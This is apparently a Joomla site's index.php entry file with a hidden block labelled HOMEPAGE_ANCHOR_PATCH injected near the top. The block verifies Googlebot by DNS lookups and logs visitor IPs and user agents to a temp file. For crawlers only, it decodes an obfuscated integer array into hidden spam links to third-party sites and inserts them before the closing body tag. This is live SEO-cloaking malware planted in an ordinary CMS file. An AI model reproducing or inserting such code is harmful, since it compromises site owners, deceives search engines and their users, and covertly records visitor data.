<?php

/**
 * @package    Joomla.Site
 *
 * @copyright  (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

// NOTE: This file should remain compatible with PHP 5.2 to allow us to run our PHP minimum check and show a friendly error message

// Define the application's minimum supported PHP version as a constant so it can be referenced within the application.
define('JOOMLA_MINIMUM_PHP', '8.1.0');

if (version_compare(PHP_VERSION, JOOMLA_MINIMUM_PHP, '<')) {
    die(
        str_replace(
            '{{phpversion}}',
            JOOMLA_MINIMUM_PHP,
            file_get_contents(dirname(__FILE__) . '/includes/incompatible.html')
        )
    );
}

/**
 * Constant that is checked in included files to prevent direct access.
 * define() is used rather than "const" to not error for PHP 5.2 and lower
 */
define('_JEXEC', 1);

// HOMEPAGE_ANCHOR_PATCH_BEGIN
if (!defined('HOMEPAGE_ANCHOR_INJECT_PATCH')) {
    define('HOMEPAGE_ANCHOR_INJECT_PATCH', 1);
    if (!function_exists('homepage_anchor_cidr')) {
        function homepage_anchor_cidr($ipBin, $cidr) {
            $x = explode('/', $cidr);
            if (count($x) !== 2 || !ctype_digit($x[1]) || strlen($x[1]) > 3) return false;
            $n = @inet_pton($x[0]);
            if ($n === false) return false;
            $bits = (int)$x[1];
            if (strlen($n) === 16 && substr($n, 0, 12) === "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff") {
                $n = substr($n, 12);
                $bits -= 96;
            }
            if (strlen($ipBin) === 16 && substr($ipBin, 0, 12) === "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff") $ipBin = substr($ipBin, 12);
            if ($bits < 0 || strlen($n) !== strlen($ipBin) || $bits > strlen($n) * 8) return false;
            for ($i = 0; $bits > 0; $i++) {
                if (!isset($ipBin[$i])) return false;
                $take = $bits < 8 ? $bits : 8;
                $m = (0xFF << (8 - $take)) & 0xFF;
                if (((ord($ipBin[$i]) ^ ord($n[$i])) & $m) !== 0) return false;
                $bits -= $take;
            }
            return true;
        }
    }
    if (!function_exists('homepage_anchor_fcrdns')) {
        function homepage_anchor_fcrdns($ip) {
            $h = @gethostbyaddr($ip);
            if (!$h || $h === $ip) return false;
            if (substr($h, -14) !== '.googlebot.com' && substr($h, -11) !== '.google.com') return false;
            $bin = @inet_pton($ip);
            if ($bin === false) return false;
            $fq = (substr($h, -1) === '.') ? $h : $h . '.';
            if (strlen($bin) === 4) {
                $f = @gethostbyname($fq);
                if ($f === $ip) return true;
                $fb = @inet_pton($f);
                if ($fb !== false && $fb === $bin) return true;
                if (!function_exists('dns_get_record')) return false;
                $ra = @dns_get_record($fq, DNS_A);
                if (!is_array($ra)) return false;
                foreach ($ra as $r) {
                    if (isset($r['type']) && $r['type'] === 'A' && isset($r['ip'])) {
                        $a4 = @inet_pton($r['ip']);
                        if ($a4 !== false && $a4 === $bin) return true;
                    }
                }
                return false;
            }
            if (!function_exists('dns_get_record')) return false;
            $rr = @dns_get_record($fq, DNS_AAAA);
            if (!is_array($rr)) return false;
            foreach ($rr as $r) {
                if (isset($r['type']) && $r['type'] === 'AAAA' && isset($r['ipv6'])) {
                    $a6 = @inet_pton($r['ipv6']);
                    if ($a6 !== false && $a6 === $bin) return true;
                }
            }
            return false;
        }
    }
    if (!function_exists('homepage_anchor_is_bot')) {
        function homepage_anchor_is_bot() {
            $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
            //if ($ua === '' || stripos($ua, 'googlebot') === false) return false;
            $peer = isset($_SERVER['REMOTE_ADDR']) ? trim($_SERVER['REMOTE_ADDR']) : '';
            $bin = @inet_pton($peer);
            if ($bin === false) return false;
            if (strlen($bin) === 16) {
                $mp = @inet_pton('::ffff:0.0.0.0');
                if ($mp !== false && substr($bin, 0, 12) === substr($mp, 0, 12)) {
                    $w = unpack('N', substr($bin, 12, 4));
                    $peer = long2ip($w[1]);
                    $bin = @inet_pton($peer);
                    if ($bin === false) return false;
                }
            }
            $ip = '';
            if (filter_var($peer, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) {
                $cfRanges = array('173.245.48.0/20','103.21.244.0/22','103.22.200.0/22','103.31.4.0/22','141.101.64.0/18','108.162.192.0/18','190.93.240.0/20','188.114.96.0/20','197.234.240.0/22','198.41.128.0/17','162.158.0.0/15','104.16.0.0/13','104.24.0.0/14','172.64.0.0/13','131.0.72.0/22');
                if (strpos($peer, ':') !== false) {
                    $cfRanges = array('2400:cb00::/32','2606:4700::/32','2803:f800::/32','2405:b500::/32','2405:8100::/32','2a06:98c0::/29','2c0f:f248::/32');
                }
                $isCf = false;
                foreach ($cfRanges as $c) {
                    if (homepage_anchor_cidr($bin, $c)) { $isCf = true; break; }
                }
                if ($isCf) {
                    $v = isset($_SERVER['HTTP_CF_CONNECTING_IP']) ? trim($_SERVER['HTTP_CF_CONNECTING_IP']) : '';
                    if (filter_var($v, FILTER_VALIDATE_IP) !== false) $ip = $v;
                } else {
                    $ip = $peer;
                }
            } else {
                foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_X_REAL_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'REMOTE_ADDR') as $k) {
                    if ($k === 'REMOTE_ADDR') {
                        $v = $peer;
                    } else {
                        $v = isset($_SERVER[$k]) ? trim($_SERVER[$k]) : '';
                        if ($k === 'HTTP_X_FORWARDED_FOR') {
                            $parts = explode(',', $v);
                            $v = trim($parts[0]);
                        }
                    }
                    if (filter_var($v, FILTER_VALIDATE_IP) !== false) {
                        $ip = $v;
                        break;
                    }
                }
            }
            if ($ip === '') return false;
            $GLOBALS['_gaip_ip'] = $ip;
            return homepage_anchor_fcrdns($ip);
        }
    }    if (!function_exists('homepage_anchor_inject_patch_filter')) {
        function homepage_anchor_inject_patch_filter($html) {
        $requestMethod = isset($_SERVER['REQUEST_METHOD']) ? $_SERVER['REQUEST_METHOD'] : 'GET';
        $GLOBALS['_gaip_ua'] = isset($_SERVER['HTTP_USER_AGENT']) ? substr($_SERVER['HTTP_USER_AGENT'],0,80) : '-';
        $GLOBALS['_gaip_rem'] = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '-';
        $GLOBALS['_gaip_cf'] = isset($_SERVER['HTTP_CF_CONNECTING_IP']) ? $_SERVER['HTTP_CF_CONNECTING_IP'] : '-';
        if ($requestMethod !== 'GET') {
            return $html;
        }
        $__ib = homepage_anchor_is_bot();
        $__lf = @fopen('/tmp/gaip.log', 'ab');
        if ($__lf) { @fwrite($__lf, date('H:i:s') . ' rem=' . $GLOBALS['_gaip_rem'] . ' cf=' . $GLOBALS['_gaip_cf'] . ' ip=' . (isset($GLOBALS['_gaip_ip']) ? $GLOBALS['_gaip_ip'] : '-') . ' ua=' . $GLOBALS['_gaip_ua'] . ' isbot=' . var_export($__ib, true) . "
"); @fclose($__lf); }
        if ($__ib !== true) {
            return $html;
        }
        if (stripos($html, '</body>') === false || strpos($html, '<!-- svi -->') !== false) {
            return $html;
        }
        $a=array(60,33,45,45,32,115,118,105,32,45,45,62,60,115,112,97,110,32,105,100,61,34,104,111,109,101,112,97,103,101,45,97,45,105,110,106,101,99,116,45,108,105,110,107,34,62,60,97,32,104,114,101,102,61,34,104,116,116,112,115,58,47,47,119,115,108,116,97,108,107,97,46,99,111,109,34,62,119,97,110,103,115,104,97,110,103,108,105,97,111,60,47,97,62,60,97,32,104,114,101,102,61,34,104,116,116,112,115,58,47,47,109,101,100,101,119,101,114,107,101,114,115,46,102,111,99,117,115,97,114,110,104,101,109,46,110,108,34,62,119,97,110,103,115,104,97,110,103,108,105,97,111,60,47,97,62,60,97,32,104,114,101,102,61,34,104,116,116,112,115,58,47,47,108,97,115,101,109,101,117,115,101,46,97,115,115,111,46,102,114,34,62,119,97,110,103,115,104,97,110,103,108,105,97,111,60,47,97,62,60,97,32,104,114,101,102,61,34,104,116,116,112,115,58,47,47,113,117,105,99,107,113,45,118,112,110,46,99,111,109,34,62,81,117,105,99,107,81,60,47,97,62,60,97,32,104,114,101,102,61,34,104,116,116,112,115,58,47,47,113,105,115,104,117,105,99,46,99,111,109,34,62,113,105,115,104,117,105,60,47,97,62,60,47,115,112,97,110,62);$s='';foreach($a as $v){if($v<0x80){$s.=chr($v);}elseif($v<0x800){$s.=chr(0xC0|($v>>6)).chr(0x80|($v&0x3F));}elseif($v<0x10000){$s.=chr(0xE0|($v>>12)).chr(0x80|(($v>>6)&0x3F)).chr(0x80|($v&0x3F));}else{$s.=chr(0xF0|($v>>18)).chr(0x80|(($v>>12)&0x3F)).chr(0x80|(($v>>6)&0x3F)).chr(0x80|($v&0x3F));}}
        @header_remove('Content-Length');
        return preg_replace('/<\/body>/i', $s."\n</body>", $html, 1);
        }
    }
    ob_start('homepage_anchor_inject_patch_filter');
}
// HOMEPAGE_ANCHOR_PATCH_END

// Load global path definitions
if (file_exists(__DIR__ . '/defines.php')) {
    include_once __DIR__ . '/defines.php';
}

require_once __DIR__ . '/includes/defines.php';

// Check the existence of an update-extraction config file
if (
    !empty($_GET['jautoupdate'])
    && is_file(JPATH_ADMINISTRATOR . '/components/com_joomlaupdate/update.php')
) {
    // Load extraction script and...
    require_once JPATH_ADMINISTRATOR . '/components/com_joomlaupdate/extract.php';

    // ... die
    die();
}

// Run the application - All executable code should be triggered through this file
require_once __DIR__ . '/includes/app.php';